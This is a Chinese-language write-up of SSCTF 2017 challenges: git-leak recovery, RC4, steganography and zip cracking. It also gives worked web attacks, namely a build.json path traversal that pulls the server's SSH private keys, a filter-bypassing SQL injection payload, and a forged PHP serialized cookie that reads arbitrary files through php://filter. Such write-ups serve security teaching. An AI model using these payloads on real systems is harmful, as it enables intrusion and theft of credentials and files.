签到题
base64+凯撒+栅栏加密
flag在哪里
题目给了一个pcapng包,用wireshark分析,发现是和git有关的请求(虽然实际上不叫git,而是另外一个名字,忘了...),然后到题目网站看,git文件都可以下载。
于是在本地也建了一个git项目,然后先把网站的git目录index文件下载下来,copy到我自己的目录,运行命令
git ls-files --stage
可以看网站的文件目录结构以及对应的hash,然后从里面发现了两个可疑文件flag.txt和pass.php,于是把这两个文件对应的数据文件copy下来了,然后运行命令
git cat-file -p 950338
查看flag.txt内容
SSCTF{give you flag,can you accept?"}
这个交了发现是假的,然后pass.php里面有个串wodegea,还不知道有什么用。
之后联想到git的版本控制功能,于是尝试查看每次提交的改动。在logs/HEAD里面可以看到每次commit对应的hash:
0000000000000000000000000000000000000000 cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc zhang tie zt@163.com 1493198973 -0400 commit (initial): pass????
cd7bee8ad1b5807b7136fd8fb0c9ae853204c1fc eac8d383f192730a605bb5d3115aa4bbba8a99ea zhang tie zt@163.com 1493199151 -0400 commit: pass??
eac8d383f192730a605bb5d3115aa4bbba8a99ea 9ab1451776fb32e82c2524fc4f37fa3f33ceae2f zhang tie zt@163.com 1493199966 -0400 commit: password?
9ab1451776fb32e82c2524fc4f37fa3f33ceae2f 473e9cce7391e913ffcf10b96ba6e4c0b950fe8e zhang tie zt@163.com 1493201128 -0400 commit: test pass
473e9cce7391e913ffcf10b96ba6e4c0b950fe8e 8894bb4d45643d52b5eb8175710999fcd398ebd4 zhang tie zt@163.com 1493201292 -0400 commit: 666666666
8894bb4d45643d52b5eb8175710999fcd398ebd4 6a0bbb4f6ce6d101c0cf5abac4b04ff004b1a918 zhang tie zt@163.com 1493201414 -0400 commit: this is flag
所以可以在本地用命令
git show commit_hash ssctf
查看文件的改动。这样翻了一下,发现了真的flag.txt(但是加密了)
image.png和一个有加密函数的pass.php
<?php
$encrypt = base64_encode(wtf('flag_password', 'ssctf'));
function wtf($data,$pwd) {
$cipher ="";
$key[] ="";
$box[] ="";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i < 256; $i++) {
$key[$i] = ord($pwd[$i % $pwd_length]);
$box[$i] = $i;
}
for ($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $key[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for ($a = $j = $i = 0; $i < $data_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$k = $box[(($box[$a] + $box[$j]) % 256)];
$cipher .= chr(ord($data[$i]) ^ $k);
}
return $cipher;
}
?>
看了一下是rc4加密,然后网上找了个地方对flag.txt中的密文解密,就得到了最后的flag
互相伤害
题目给了个压缩包,里面有个文件,打开看了下感觉是流量包,于是加了后缀pcapng,用wireshark看,发现里面都是请求图片。
把这些图片扒了下来,发现里面有个图片有个二维码,还写着aes和CTF,扫了一下是个aes的密文。本来以为是要解密后面说的那个压缩包才能拿到密钥,结果发现CTF其实就是密钥,解密后得到一个串
4356f2b426ad8355c99e9388a3189c89.jpg
然后另一张写着互相伤害的图可以解压出一个压缩包,不过加密了,用上面的串解密就行了
a1d63bb3ed1f9df89b72375f1ed79e5d.jpg这个二维码中心有个小的二维码,扫了一下就得到了flag。
我们的秘密是绿色的
题目给了个压缩包,里面有张图片,binwalk了一下没结果,感觉图片有隐写,于是各种google
在搜“ctf 我们的秘密”的时候,发现陕西之前有个比赛的题目名字就叫我们的秘密,看了一下用了一个叫oursecret的工具解密的,于是下载下来试试,不过要输密码,题目提示是green,然后发现给的图片里的日历有的数字是绿色的,试了一下果然解开了,得到一个压缩包。
压缩包有密码,注释提示coffee的生日,生日也就8位,爆破一下就出来了。
19950822
解压出来又是一个压缩包(=。=)和一个readme.txt,看了一下这个txt的crc码和压缩包里的readme.txt是一样的,想到了已知明文攻击,跑了几分钟就出来了。
最后的压缩包什么提示都没有,感觉可能是伪加密,binwalk -e一下,就得到了flag.txt
qddpqwnpcplen%prqwn_{_zz *d@gq}
感觉跟签到有点像,凯撒+栅栏解密一下就出来最后的flag了
WebHook:
基本上代码审计题,主办方也一直在修复,修了好多其他漏洞?
addrepo可以加仓库和git地址(secret_key试了下就是ssctf)
根据代码加个仓库
http://webhook.ssctf.seclover.com:8000/addrepo?repo=fuckssctf&key=e6b4c612b636d5f4cf3d44e23ffd0b7d&url=https://github.com/sicalpath/fuckssctf.git&pass=fuck
向/push POST时可以触发build,会checkout 上边提交的地址 https://github.com/sicalpath/fuckssctf.git,然后根据build.json里的内容生成压缩包
POST /push HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie:
Connection: close
Content-Length: 166
{"repository":{"name":"fuckssctf"},"ref":"refs/heads/master","url":"https://github.com/sicalpath/fuckssctf","before":"https://github.com/sicalpath/shadowbroker.git"}
然后用fuckssctf fuck 登陆一下
在http://webhook.ssctf.seclover.com:8000/log 可以看到build的记录
2017-05-07 06:55:46 INFO building fuckssctf:master
2017-05-07 06:55:48 INFO fuckssctf clone ok
2017-05-07 06:55:50 INFO fuckssctf:master checkout ok
2017-05-07 06:55:51 INFO fuckssctf:master pull ok
2017-05-07 06:55:52 CRITICAL fuckssctf:master build error
2017-05-07 06:59:26 INFO building fuckssctf:master
2017-05-07 06:59:28 INFO fuckssctf:master checkout ok
2017-05-07 06:59:30 INFO fuckssctf:master pull ok
2017-05-07 06:59:31 CRITICAL fuckssctf:master build error
2017-05-07 07:03:42 INFO building fuckssctf:master
2017-05-07 07:03:45 INFO fuckssctf:master checkout ok
2017-05-07 07:03:46 INFO fuckssctf:master pull ok
2017-05-07 07:03:48 CRITICAL fuckssctf:master build error
2017-05-07 07:05:31 INFO building fuckssctf:master
2017-05-07 07:05:34 INFO fuckssctf:master checkout ok
2017-05-07 07:05:36 INFO fuckssctf:master pull ok
2017-05-07 07:05:38 INFO fuckssctf:master build ok
2017-05-07 07:18:58 INFO building fuckssctf:master
2017-05-07 07:19:02 INFO fuckssctf:master checkout ok
2017-05-07 07:19:04 INFO fuckssctf:master pull ok
2017-05-07 07:19:06 CRITICAL fuckssctf:master build error
主要有用漏洞的在build里
args = ['zip', '-r',
os.path.join(outpath, str(int(time.time())) + '.zip')]
if os.path.isfile(os.path.join(basedir, 'build.json')):
b = json.loads(
open(os.path.join(basedir, 'build.json')).read())
for x in b.get('include', [basedir]):
args.append(x)
for x in b.get('exclude', []):
args.append("-x")
args.append(x)
p = subprocess.Popen(args, cwd=basedir)
我把我的git仓库里的build.json写成
{"include":["../."]}
这样可以把上级目录打包,log里看有的目录build会error
虽然error了但是也生成了文件zi74MVxj
ziavJH5H
zi74MVxj
1494156424.zip
1494156331.zip
1494155136.zip
下载下来自己加上.zip用winrar自带工具的修复一下依然可以读文件,在config里读到了git地址是git@git.coding.net:ljgame/flag.git
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = git@git.coding.net:ljgame/flag.git
fetch = +refs/heads/:refs/remotes/origin/
[branch "master"]
remote = origin
merge = refs/heads/master
然后再改下build.json
{"include":["../../../home/."]}
打包发现了ssh的密钥
id_rsa id_rsa.pub
用这个密钥在本机clone一下就行了,得到flag.txt
CloverSec Logos
首页有个登录框,然后是一堆图片,扫了一下目录,发现
.index.php.swp ssctf_flag.php
官方给了提示有备份文件,于是又下载下来了个"index.php.swp",看了下必须要登录才能有后面的操作,于是先想办法登录。
小伙伴跑了半天弱口令没结果,于是看看能不能注入。试了下登录框没办法,然后发现首页的几个图片的链接是xxx?id=1,试了一下id=1%2b1都不行,感觉这个id应该是当字符串处理了,于是试了下单引号和双引号,发现id=1"%2b"1会返回id=2的结果,可以注入,接着测试空格,or、and和mid什么的都被过滤了,最后成功绕过的payload:
id="%2b((select%2bascii(substr(passwoorrd,1,1))%2b0.from(user)where(username="admin"))>0)%2b"
写了个python脚本跑了一下,得到了password
14aceb3fc5992cef3d97
20位,而md5是32位,google了一下,发现是dedecms的加密方式,也就是md5后去掉前5位和后7位,解密只需要去掉前3位和后1位,然后md5_16解密即可。解密后是admin^g,登录进去后,再看index.php.swp可以看到另外的一些源码信息,关键在这段:
<?php
if(isset($_GET['action'])&&$_GET['action']=='imformation')
{
if(isset($_COOKIE['token']))
{
$secret=$_GET['secret'];
$token =$_COOKIE['token'];
if(isset($secret)&&(file_get_contents($secret,'r')==="1234"))
{
echo "hello Hacker!<br>";
include("include.php");
echo ssctf_unserialize($token);
}
else
{
echo "You are not Hacker ! ";
}
}
else{
setcookie("token",'');
echo '<h2 style="text-align:center;">Welcome</h2>';
echo '<div><h4>User imformation</h4><ul>';
echo '<li>Username : '.$imformation['username'].'</li>';
}
}
首先要secret满足条件,在服务器上建一个内容为1234的txt就行了,然后token这里反序列化,应该有问题,结合之前发现的.index.php.swp,这个文件最后有一句
setcookie("token",'O:+4:"Read":1:{s:4:"file";s:58:"php://filter/read=convert.base64-encode/resource=index.php";}');
把index.php改成别的,然后改一下长度就能读任意文件了
直接读上面找到的ssctf_flag.php,然后解码就行了
GET /index.php?action=imformation&secret=http://118.193.238.4/tool/1234.txt HTTP/1.1
Host: 60.191.205.80
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=0gumnfk79q6aktr4jd958btiq0;token=O%3A%2b4%3A%22Read%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A63%3A%22php%3A%2f%2ffilter%2fread%3Dconvert.base64-encode%2fresource%3Dssctf_flag.php%22%3B%7D
Connection: close
Upgrade-Insecure-Requests: 1
网友评论